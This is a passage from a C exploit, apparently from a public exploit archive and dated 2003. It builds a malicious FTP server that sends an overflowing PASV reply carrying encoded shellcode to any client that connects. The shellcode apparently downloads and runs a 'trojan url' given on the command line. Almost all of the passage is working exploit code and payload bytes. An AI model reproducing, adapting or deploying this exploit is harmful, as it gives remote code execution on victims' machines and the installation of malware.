"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68"
"\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1"
"\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25"
"\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x80\xAB\x2F\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF"
"\x03\x80\xAB\x32\xFF\xFF\xFF\x03\x80\xAB\x33\xFF\xFF\xFF\x03\x80\xAB\x34\xFF\xFF"
"\xFF\x03\x80\xAB\x35\xFF\xFF\xFF\x03\x80\xAB\x36\xFF\xFF\xFF\x03\x80\xAB\x37\xFF"
"\xFF\xFF\x03\x80\xAB\x38\xFF\xFF\xFF\x03\x80\xAB\x39\xFF\xFF\xFF\x03\x80\xAB\x3A"
"\xFF\xFF\xFF\x03\x80\xAB\x3B\xFF\xFF\xFF\x03\x80\xAB\x3C\xFF\xFF\xFF\x03\x80\xAB"
"\x3D\xFF\xFF\xFF\x03\x80\xAB\x3E\xFF\xFF\xFF\x03\x80\xAB\x3F\xFF\xFF\xFF\x03\x80"
"\xAB\x40\xFF\xFF\xFF\x03\x80\xAB\x41\xFF\xFF\xFF\x03\x80\xAB\x42\xFF\xFF\xFF\x03"
"\x80\xAB\x43\xFF\xFF\xFF\x03\x80\xAB\x44\xFF\xFF\xFF\x03\x80\xAB\x45\xFF\xFF\xFF"
"\x03\x80\xAB\x46\xFF\xFF\xFF\x03\x80\xAB\x47\xFF\xFF\xFF\x03\x80\xAB\x48\xFF\xFF"
"\xFF\x03\x80\xAB\x49\xFF\xFF\xFF\x03\x80\xAB\x4A\xFF\xFF\xFF\x03\x80\xAB\x4B\xFF"
"\xFF\xFF\x03\x80\xAB\x4C\xFF\xFF\xFF\x03\x80\xAB\x4D\xFF\xFF\xFF\x03\x80\xAB\x4E"
"\xFF\xFF\xFF\x03\x80\xAB\x4F\xFF\xFF\xFF\x03\x80\xAB\x50\xFF\xFF\xFF\x03\x80\xAB"
"\x51\xFF\xFF\xFF\x03\x80\xAB\x52\xFF\xFF\xFF\x03\x80\xAB\x53\xFF\xFF\xFF\x03\x80"
"\xAB\x54\xFF\xFF\xFF\x03\x80\xAB\x55\xFF\xFF\xFF\x03\x80\xAB\x56\xFF\xFF\xFF\x03"
"\x80\xAB\x57\xFF\xFF\xFF\x03\x80\xAB\x58\xFF\xFF\xFF\x03\x80\xAB\x59\xFF\xFF\xFF"
"\x03\x80\xAB\x5A\xFF\xFF\xFF\x03\x80\xAB\x5B\xFF\xFF\xFF\x03\x80\xAB\x5C\xFF\xFF"
"\xFF\x03\x80\xAB\x5D\xFF\xFF\xFF\x03\x80\xAB\x5E\xFF\xFF\xFF\x03\x80\xAB\x5F\xFF"
"\xFF\xFF\x03\x80\xAB\x60\xFF\xFF\xFF\x03\x80\xAB\x61\xFF\xFF\xFF\x03\x80\xAB\x62"
"\xFF\xFF\xFF\x03\x80\xAB\x63\xFF\xFF\xFF\x03\x80\xAB\x64\xFF\xFF\xFF\x03\x80\xAB"
"\x65\xFF\xFF\xFF\x03\x80\xAB\x66\xFF\xFF\xFF\x03\x80\xAB\x67\xFF\xFF\xFF\x03\x80"
"\xAB\x68\xFF\xFF\xFF\x03\x80\xAB\x69\xFF\xFF\xFF\x03\x80\xAB\x6A\xFF\xFF\xFF\x03"
"\x80\xAB\x6B\xFF\xFF\xFF\x03\x80\xAB\x6C\xFF\xFF\xFF\x03\x80\xAB\x6D\xFF\xFF\xFF"
"\x03\x80\xAB\x6E\xFF\xFF\xFF\x03\x80\xAB\x6F\xFF\xFF\xFF\x03\x80\xAB\x70\xFF\xFF"
"\xFF\x03\x80\xAB\x71\xFF\xFF\xFF\x03\x80\xAB\x72\xFF\xFF\xFF\x03\x80\xAB\x73\xFF"
"\xFF\xFF\x03\x80\xAB\x74\xFF\xFF\xFF\x03\x80\xAB\x75\xFF\xFF\xFF\x03\x80\xAB\x76"
"\xFF\xFF\xFF\x03\x80\xAB\x77\xFF\xFF\xFF\x03\x80\xAB\x78\xFF\xFF\xFF\x03\x80\xAB"
"\x79\xFF\xFF\xFF\x03\x80\xAB\x7A\xFF\xFF\xFF\x03\x80\xAB\x7B\xFF\xFF\xFF\x03\x80"
"\xAB\x7C\xFF\xFF\xFF\x03\x80\xAB\x7D\xFF\xFF\xFF\x03\x80\xAB\x7E\xFF\xFF\xFF\x03"
"\x80\xAB\x7F\xFF\xFF\xFF\x03\x80\x6B\x80\x03\x80\x6B\x81\x03\x80\x6B\x82\x03\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xE9\x61\xF9\xFF\xFF";
char *url = argv[2];
if(strlen(url)>80){
printf("ERROR: trojan url is too long!\n");
return;
}
for(unsigned int i = 5; i < strlen(url); i++){
url[i]+=3;
exploit[839+i] = url[i];
}
exploit[839+i] = '\x0B';
exploit[839+i+1] = '\x04';
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET listen_Sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addr_Sock;
addr_Sock.sin_family = AF_INET;
addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
addr_Sock.sin_port = htons(atoi(argv[1]));
printf("Awaiting for connections...\n");
if(bind(listen_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return;
if(listen(listen_Sock, 1))return;
SOCKET victim = accept(listen_Sock,NULL,NULL);
printf("Victim connected...\n");
char buffer[2048];
sprintf(buffer, "220 drG4njubas roxx da world...\r\n");
send(victim, buffer, strlen(buffer), NULL);
while(true){
if(recv(victim, buffer, 2048, NULL)==SOCKET_ERROR)return;
if(strncmp(buffer, "USER", 4)==0){
sprintf(buffer, "%s\r\n", "331 Password required for user.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PASS", 4)==0){
sprintf(buffer, "%s\r\n", "230 User logged in.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "SYST", 4)==0){
sprintf(buffer, "%s\r\n", "215 Windows_NT version 5.0");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "REST", 4)==0){
sprintf(buffer, "%s\r\n", "350 Restarting at blah.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PWD", 3)==0){
sprintf(buffer, "%s\r\n", "257 Current directory was changed.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "TYPE", 4)==0){
sprintf(buffer, "%s\r\n", "200 Type set to blah.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PASV", 4)==0){
printf("PASV command received, sending exploit...");
sprintf(buffer, "227 (%s,1,1,1,1,1)\r\n", exploit);
send(victim, buffer, strlen(buffer), NULL);
printf("finnished.\n");
break;
}
else{
printf("ERROR: Wrong client or pasv mode is not enabled.\n");
break;
}
}
closesocket(victim);
closesocket(listen_Sock);
WSACleanup();
}
// milw0rm.com [2003-07-12]